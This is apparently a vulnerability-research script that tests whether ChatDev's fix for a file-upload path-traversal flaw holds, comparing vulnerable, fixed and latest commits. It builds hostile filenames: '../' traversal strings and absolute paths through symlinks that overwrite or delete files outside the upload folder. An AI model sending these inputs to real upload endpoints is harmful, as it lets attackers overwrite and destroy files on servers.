#!/bin/bash
set -euo pipefail

# CVE-2026-58166 variant analysis reproduction.
#
# This script tests same-root-cause filename escape candidates against both the
# vulnerable parent commit and the fixed commit. It intentionally exits 0 only
# if a candidate still escapes on the fixed commit (true bypass). When the fixed
# commit blocks all tested candidates it exits 1 after writing logs and JSON
# evidence.

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
VV="$ROOT/vuln_variant"
mkdir -p "$LOGS" "$VV"
cd "$ROOT"

LOG="$LOGS/vuln_variant_reproduction_steps.log"
: > "$LOG"
exec > >(tee -a "$LOG") 2>&1

echo "=== CVE-2026-58166 variant/bypass check: $(date -u) ==="

FIXED_COMMIT="4fd4da603801766b14ad8788649cfc1ad21f99a6"
CACHE_CTX="$ROOT/project_cache_context.json"
PROJECT_CACHE_DIR=""
if [ -f "$CACHE_CTX" ]; then
  PROJECT_CACHE_DIR=$(python3 -c 'import json,sys; d=json.load(open(sys.argv[1])); print(d.get("project_cache_dir","") if d.get("prepared") else "")' "$CACHE_CTX" 2>/dev/null || true)
fi

if [ -n "$PROJECT_CACHE_DIR" ] && [ -d "$PROJECT_CACHE_DIR/repo/.git" ]; then
  SOURCE_REPO="$PROJECT_CACHE_DIR/repo"
else
  SOURCE_REPO="$VV/repo_source"
  if [ ! -d "$SOURCE_REPO/.git" ]; then
    echo "Cloning ChatDev source into variant workspace ..."
    git clone https://github.com/OpenBMB/ChatDev.git "$SOURCE_REPO"
  fi
fi

echo "SOURCE_REPO=$SOURCE_REPO"
# Best-effort refresh. Do not fail offline if the required commits already exist.
git -C "$SOURCE_REPO" fetch --quiet origin '+refs/heads/*:refs/remotes/origin/*' 2>/dev/null || true
git -C "$SOURCE_REPO" fetch --quiet origin "$FIXED_COMMIT" 2>/dev/null || true

FIXED_RESOLVED=$(git -C "$SOURCE_REPO" rev-parse "$FIXED_COMMIT")
VULN_RESOLVED=$(git -C "$SOURCE_REPO" rev-parse "$FIXED_COMMIT^")
LATEST_RESOLVED=$(git -C "$SOURCE_REPO" rev-parse origin/main 2>/dev/null || printf '%s' "$FIXED_RESOLVED")

echo "VULNERABLE_COMMIT=$VULN_RESOLVED"
echo "FIXED_COMMIT=$FIXED_RESOLVED"
echo "LATEST_ORIGIN_MAIN=$LATEST_RESOLVED"
printf '%s\n' "$FIXED_RESOLVED" > "$LOGS/vuln_variant_fixed_version.txt"
printf '%s\n' "$LATEST_RESOLVED" > "$LOGS/vuln_variant_latest_version.txt"

prepare_clone() {
  local dir="$1" commit="$2"
  if [ ! -d "$dir/.git" ]; then
    rm -rf "$dir"
    git clone --quiet --shared "$SOURCE_REPO" "$dir"
  fi
  git -C "$dir" fetch --quiet origin '+refs/heads/*:refs/remotes/origin/*' 2>/dev/null || true
  git -C "$dir" checkout --quiet --detach "$commit"
  git -C "$dir" reset --quiet --hard "$commit"
  git -C "$dir" clean -fdx --quiet
}

VULN_DIR="$VV/src_vulnerable"
FIXED_DIR="$VV/src_fixed"
LATEST_DIR="$VV/src_latest"
prepare_clone "$VULN_DIR" "$VULN_RESOLVED"
prepare_clone "$FIXED_DIR" "$FIXED_RESOLVED"
if [ "$LATEST_RESOLVED" != "$FIXED_RESOLVED" ]; then
  prepare_clone "$LATEST_DIR" "$LATEST_RESOLVED"
else
  LATEST_DIR="$FIXED_DIR"
fi

PYTHON_BIN="python3"
if [ -n "$PROJECT_CACHE_DIR" ] && [ -x "$PROJECT_CACHE_DIR/venv/bin/python" ]; then
  PYTHON_BIN="$PROJECT_CACHE_DIR/venv/bin/python"
fi

echo "PYTHON_BIN=$PYTHON_BIN"

cat > "$VV/attachment_filename_candidate_driver.py" <<'PY'
import asyncio
import json
import pathlib
import shutil
import sys
from typing import Dict, Any

repo = pathlib.Path(sys.argv[1]).resolve()
role = sys.argv[2]
out_path = pathlib.Path(sys.argv[3]).resolve()
base_dir = pathlib.Path(sys.argv[4]).resolve()
base_dir.mkdir(parents=True, exist_ok=True)

sys.path.insert(0, str(repo))
from server.services.attachment_service import AttachmentService  # noqa: E402


class FakeUpload:
    def __init__(self, filename: str, data: bytes, content_type: str = "text/plain"):
        self.filename = filename
        self.content_type = content_type
        self._data = data
        self._offset = 0

    async def read(self, size: int = -1) -> bytes:
        if self._offset >= len(self._data):
            return b""
        if size is None or size < 0:
            size = len(self._data) - self._offset
        chunk = self._data[self._offset:self._offset + size]
        self._offset += len(chunk)
        return chunk


def cleanup_path(path: pathlib.Path) -> None:
    try:
        if path.is_symlink() or path.exists():
            path.unlink()
    except FileNotFoundError:
        pass


async def run_case(case_name: str, filename: str, *, use_symlink: bool, preexisting_target: bool) -> Dict[str, Any]:
    warehouse = base_dir / f"warehouse_{role}_{case_name}"
    shutil.rmtree(warehouse, ignore_errors=True)
    target = base_dir / f"{role}_{case_name}_target.txt"
    link = base_dir / f"{role}_{case_name}_link.txt"
    cleanup_path(link)
    cleanup_path(target)

    if use_symlink:
        link.symlink_to(target)
    if preexisting_target:
        target.write_text("ORIGINAL_DO_NOT_TOUCH", encoding="utf-8")

    payload = f"PAYLOAD_FROM_{role}_{case_name}".encode()
    service = AttachmentService(root=warehouse)
    result: Dict[str, Any] = {
        "case": case_name,
        "role": role,
        "repo": str(repo),
        "filename_supplied": filename,
        "target": str(target),
        "link": str(link),
        "target_exists_before": target.exists(),
        "link_is_symlink_before": link.is_symlink(),
        "preexisting_target": preexisting_target,
        "use_symlink": use_symlink,
    }
    try:
        record = await service.save_upload_file("variant_session", FakeUpload(filename, payload))
        result["exception"] = None
        result["record_name"] = record.ref.name
        result["record_local_path"] = record.ref.local_path
        result["record_size"] = record.ref.size
    except Exception as exc:  # keep candidate evidence instead of crashing
        result["exception"] = repr(exc)
        result["record_name"] = None
        result["record_local_path"] = None
        result["record_size"] = None

    result["target_exists_after"] = target.exists()
    result["link_exists_after"] = link.exists()
    result["link_is_symlink_after"] = link.is_symlink()
    result["target_content_after"] = target.read_text(errors="replace") if target.exists() else None
    result["target_contains_payload"] = bool(result["target_content_after"] and payload.decode() in result["target_content_after"])
    result["target_preserved_original"] = result["target_content_after"] == "ORIGINAL_DO_NOT_TOUCH"
    result["escaped_temp_dir_via_write"] = bool(result["target_contains_payload"])
    result["deleted_supplied_path"] = bool((use_symlink and not link.is_symlink()) or (preexisting_target and not target.exists()))
    return result


async def main() -> None:
    # Baseline reproduces the parent POSIX ../ traversal pattern at the vulnerable sink.
    baseline_link = base_dir / f"{role}_baseline_parent_traversal_symlink_link.txt"
    baseline_filename = "../" * 20 + str(baseline_link.resolve()).lstrip("/")

    # Candidate 1: absolute multipart filename. Pathlib discards the temp dir when
    # the right-hand operand is absolute in the vulnerable commit. The fixed
    # commit should reduce it to a basename before joining.
    abs_link = base_dir / f"{role}_candidate_absolute_filename_symlink_link.txt"
    absolute_symlink_filename = str(abs_link.resolve())

    # Candidate 2: absolute filename pointing at an existing file. Vulnerable
    # code overwrites and then unlinks it in cleanup; fixed code must not touch it.
    abs_delete_target = base_dir / f"{role}_candidate_absolute_filename_delete_target.txt"
    absolute_delete_filename = str(abs_delete_target.resolve())

    cases = []
    cases.append(await run_case(
        "baseline_parent_traversal_symlink",
        baseline_filename,
        use_symlink=True,
        preexisting_target=False,
    ))
    cases.append(await run_case(
        "candidate_absolute_filename_symlink",
        absolute_symlink_filename,
        use_symlink=True,
        preexisting_target=False,
    ))
    cases.append(await run_case(
        "candidate_absolute_filename_delete",
        absolute_delete_filename,
        use_symlink=False,
        preexisting_target=True,
    ))

    out = {"role": role, "repo": str(repo), "cases": cases}
    out_path.write_text(json.dumps(out, indent=2), encoding="utf-8")
    print(json.dumps(out, indent=2))


asyncio.run(main())
PY

TEST_BASE="$VV/test-files"
rm -rf "$TEST_BASE"
mkdir -p "$TEST_BASE"

run_driver() {
  local role="$1" dir="$2" out="$3" log_file="$4"
  echo "----- Running candidate driver for $role at $(git -C "$dir" rev-parse HEAD) -----"
  "$PYTHON_BIN" "$VV/attachment_filename_candidate_driver.py" "$dir" "$role" "$out" "$TEST_BASE" | tee "$log_file"
}

run_driver "vulnerable" "$VULN_DIR" "$VV/result_vulnerable.json" "$LOGS/vuln_variant_driver_vulnerable.log"
run_driver "fixed" "$FIXED_DIR" "$VV/result_fixed.json" "$LOGS/vuln_variant_driver_fixed.log"
if [ "$LATEST_DIR" != "$FIXED_DIR" ]; then
  run_driver "latest" "$LATEST_DIR" "$VV/result_latest.json" "$LOGS/vuln_variant_driver_latest.log"
else
  cp "$VV/result_fixed.json" "$VV/result_latest.json"
fi

"$PYTHON_BIN" - "$VV" "$VULN_RESOLVED" "$FIXED_RESOLVED" "$LATEST_RESOLVED" <<'PY'
import json
import pathlib
import sys
from datetime import datetime, timezone

vv = pathlib.Path(sys.argv[1])
vuln_commit, fixed_commit, latest_commit = sys.argv[2:5]

def load(name):
    return json.loads((vv / name).read_text(encoding="utf-8"))

def case(result, name):
    for item in result["cases"]:
        if item["case"] == name:
            return item
    raise KeyError(name)

vuln = load("result_vulnerable.json")
fixed = load("result_fixed.json")
latest = load("result_latest.json")

case_names = [c["case"] for c in vuln["cases"]]
summary_cases = {}
for name in case_names:
    vc = case(vuln, name)
    fc = case(fixed, name)
    lc = case(latest, name)
    summary_cases[name] = {
        "vulnerable_escaped_or_deleted": bool(vc["escaped_temp_dir_via_write"] or vc["deleted_supplied_path"]),
        "fixed_escaped_or_deleted": bool(fc["escaped_temp_dir_via_write"] or fc["deleted_supplied_path"]),
        "latest_escaped_or_deleted": bool(lc["escaped_temp_dir_via_write"] or lc["deleted_supplied_path"]),
        "vulnerable_record_name": vc.get("record_name"),
        "fixed_record_name": fc.get("record_name"),
        "latest_record_name": lc.get("record_name"),
        "fixed_target_preserved_original": fc.get("target_preserved_original"),
        "latest_target_preserved_original": lc.get("target_preserved_original"),
    }

candidate_names = ["candidate_absolute_filename_symlink", "candidate_absolute_filename_delete"]
bypass_confirmed = any(summary_cases[n]["fixed_escaped_or_deleted"] or summary_cases[n]["latest_escaped_or_deleted"] for n in candidate_names)
vulnerable_only_alternate = any(summary_cases[n]["vulnerable_escaped_or_deleted"] for n in candidate_names) and not bypass_confirmed
parent_fixed_blocked = not summary_cases["baseline_parent_traversal_symlink"]["fixed_escaped_or_deleted"]

summary = {
    "created_at": datetime.now(timezone.utc).isoformat(),
    "vulnerable_commit": vuln_commit,
    "fixed_commit": fixed_commit,
    "latest_commit": latest_commit,
    "cases": summary_cases,
    "bypass_confirmed": bypass_confirmed,
    "vulnerable_only_alternate_trigger_observed": vulnerable_only_alternate,
    "fixed_blocks_parent_baseline": parent_fixed_blocked,
    "exit_code": 0 if bypass_confirmed else 1,
}
(vv / "eval_summary.json").write_text(json.dumps(summary, indent=2), encoding="utf-8")

runtime_manifest = {
    "entrypoint_kind": "service_sink_direct",
    "entrypoint_detail": "AttachmentService.save_upload_file filename handling tested at vulnerable, fixed, and latest source revisions; parent RCA establishes POST /api/uploads/{session_id} as the unauthenticated API route to this sink.",
    "service_started": False,
    "healthcheck_passed": False,
    "target_path_reached": True,
    "runtime_stack": ["AttachmentService.save_upload_file", "FastAPI UploadFile-compatible fake", "utils.attachments.AttachmentStore"],
    "proof_artifacts": [
        "logs/vuln_variant_reproduction_steps.log",
        "logs/vuln_variant_driver_vulnerable.log",
        "logs/vuln_variant_driver_fixed.log",
        "vuln_variant/result_vulnerable.json",
        "vuln_variant/result_fixed.json",
        "vuln_variant/result_latest.json",
        "vuln_variant/eval_summary.json",
    ],
    "notes": "The absolute-filename candidate reaches the vulnerable sink but is blocked by fixed/latest basename sanitization; no fixed-version bypass was reproduced.",
    "confirmed": bool(bypass_confirmed),
}
(vv / "runtime_manifest.json").write_text(json.dumps(runtime_manifest, indent=2), encoding="utf-8")

print("===== VARIANT EVALUATION SUMMARY =====")
print(json.dumps(summary, indent=2))
sys.exit(0 if bypass_confirmed else 1)
PY